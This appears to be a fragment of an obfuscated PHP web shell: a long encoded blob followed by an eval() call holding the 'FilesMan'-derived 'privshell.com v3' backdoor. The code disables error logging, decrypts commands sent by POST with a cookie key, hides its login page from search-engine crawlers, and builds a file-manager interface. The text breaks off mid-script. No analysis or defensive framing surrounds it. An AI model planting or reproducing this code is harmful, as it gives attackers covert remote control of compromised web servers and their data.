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";
eval("?><script type=\"text/javascript\" src=\"http://ff.kis.v2.scr.kaspersky-labs.com/FD126C42-EBFA-4E12-B309-BB3FDD723AC1/main.js?attr=llEUyp6ljQIg6CSTUm7CbgDsyqot-2nMdTME9vqyN2-K7qsJnkArI5r2XHOqTAtg\" charset=\"UTF-8\"></script><?php\r\n@ini_set('error_log', NULL);\r\n@ini_set('log_errors', 0);\r\n@ini_set('display_errors', 0);\r\n@ini_set('max_execution_time', 0);\r\n@ini_set('output_buffering', 0);\r\n\$asciifnc1 = true;\r\n\$asciifnc2 = 'utf-8';\r\n\$asciifnc3 = 'FilesMan';\r\n\$asciifnc4 = md5(\$_SERVER['HTTP_USER_AGENT']);\r\nif (!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"])) {\r\n\tprototype(md5(\$_SERVER['HTTP_HOST']).\"key\", \$asciifnc4);\r\n}\r\n\r\nif(empty(\$_POST['charset']))\r\n\t\$_POST['charset'] = \$asciifnc2;\r\nif (!isset(\$_POST['ne'])) {\r\n\tif(isset(\$_POST['a'])) \$_POST['a'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['a'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['c'])) \$_POST['c'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['c'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['p1'])) \$_POST['p1'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['p1'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['p2'])) \$_POST['p2'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['p2'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n\tif(isset(\$_POST['p3'])) \$_POST['p3'] = iconv(\"utf-8\", \$_POST['charset'], decrypt(\$_POST['p3'],\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"]));\r\n}\r\nfunction decrypt(\$str,\$pwd){\$pwd=base64_encode(\$pwd);\$str=base64_decode(\$str);\$enc_chr=\"\";\$enc_str=\"\";\$i=0;while(\$i<strlen(\$str)){for(\$j=0;\$j<strlen(\$pwd);\$j++){\$enc_chr=chr(ord(\$str[\$i])^ord(\$pwd[\$j]));\$enc_str.=\$enc_chr;\$i++;if(\$i>=strlen(\$str))break;}}return base64_decode(\$enc_str);}\r\n@ini_set('error_log',NULL);\r\n@ini_set('log_errors',0);\r\n@ini_set('max_execution_time',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, '5.3.0', '<')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define('VERSION', 'Priv8 privshell.com v3');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array(\$array) {\r\n\t\treturn is_array(\$array) ? array_map('stripslashes_array', \$array) : stripslashes(\$array);\r\n\t}\r\n\t\$_POST = stripslashes_array(\$_POST);\r\n    \$_COOKIE = stripslashes_array(\$_COOKIE);\r\n}\r\n/* (\xd0\xa1) 11.2011 oRb */\r\nif(!empty(\$asciifnc5)) {\r\n    if(isset(\$_POST['pass']) && (md5(\$_POST['pass']) == \$asciifnc5))\r\n        prototype(md5(\$_SERVER['HTTP_HOST']), \$asciifnc5);\r\n    if (!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])]) || (\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])] != \$asciifnc5))\r\n        hardLogin();\r\n}\r\nif(!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST']) . 'ajax']))\r\n    \$_COOKIE[md5(\$_SERVER['HTTP_HOST']) . 'ajax'] = (bool)\$asciifnc1;\r\nfunction hardLogin() {\r\n\t\tif(!empty(\$_SERVER['HTTP_USER_AGENT'])) {\r\n\t\t  \$userAgents = array(\"Google\", \"Slurp\", \"MSNBot\", \"ia_archiver\", \"Yandex\", \"Rambler\");\r\n\t\t  if(preg_match('/' . implode('|', \$userAgents) . '/i', \$_SERVER['HTTP_USER_AGENT'])) {\r\n\t\t  header('HTTP/1.0 404 Not Found');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\t\t\r\n\tdie(\"</br></br></br>\r\n\r\n\t<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style><body><pre align=center><form method=post style='color:#ffffff;text-align: center;'><img src='https://i.imgur.com/4Fq8k1E.png' align='center'><br><br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='Submit' style='border:none;background-color:#1e252e;color:#fff;cursor:pointer; '></form></pre> </body>\");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == \"win\")\r\n\t\$os = 'win';\r\nelse\r\n\t\$os = 'nix';\r\n\$safe_mode = @ini_get('safe_mode');\r\nif(!\$safe_mode)\r\n    error_reporting(0);\r\n\$disable_functions = @ini_get('disable_functions');\r\n\$home_cwd = @getcwd();\r\nif(isset(\$_POST['c']))\r\n\t@chdir(\$_POST['c']);\r\n\$cwd = @getcwd();\r\nif(\$os == 'win') {\r\n\t\$home_cwd = str_replace(\"\\\\\", \"/\", \$home_cwd);\r\n\t\$cwd = str_replace(\"\\\\\", \"/\", \$cwd);\r\n}\r\nif(\$cwd[strlen(\$cwd)-1] != '/')\r\n\t\$cwd .= '/';\r\n\r\nfunction hardHeader() {\r\n\tif(empty(\$_POST['charset']))\r\n\t\t\$_POST['charset'] = \$GLOBALS['asciifnc2'];\r\n\techo \"<html><head><meta http-equiv='Content-Type' content='text/html; charset=\" . \$_POST['charset'] . \"'><title> \" . VERSION .\"</title>\r\n\t<link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet'>\r\n<style>\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); }\r\n\r\n\tcanvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url('https://i.imgur.com/gL0UG8Y.png'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000; background-image:url('https://i.imgur.com/hLcQCBx.gif'); }\r\n\tspan,h1,a\t{color:#ffb101 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ffb101;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000; background-image:url('https://i.imgur.com/hLcQCBx.gif');}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Open Sans', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type='submit']{background-color:#ffb101bd;}\r\n\tinput[type='button']{background-color:#ffb101;}\r\n\tinput[type='submit']:hover{background-color:#ffb101bd;}\r\n\tinput[type='button']:hover{background-color:#ffb101;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt 'Open Sans', sans-serif;}\r\n</style>\r\n<script>\r\n    var c_ = '\" . htmlspecialchars(\$GLOBALS['cwd']) . \"';\r\n    var a_ = '\" . htmlspecialchars(@\$_POST['a']) .\"'\r\n    var charset_ = '\" . htmlspecialchars(@\$_POST['charset']) .\"';\r\n    var p1_ = '\" . ((strpos(@\$_POST['p1'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p1'],ENT_QUOTES)) .\"';\r\n    var p2_ = '\" . ((strpos(@\$_POST['p2'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p2'],ENT_QUOTES)) .\"';\r\n    var p3_ = '\" . ((strpos(@\$_POST['p3'],\"\\n\")!==false)?'':htmlspecialchars(\$_POST['p3'],ENT_QUOTES)) .\"';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'\".\$_COOKIE[md5(\$_SERVER['HTTP_HOST']).\"key\"].\"');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('\" . addslashes(\$_SERVER['REQUEST_URI']) .\"', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) 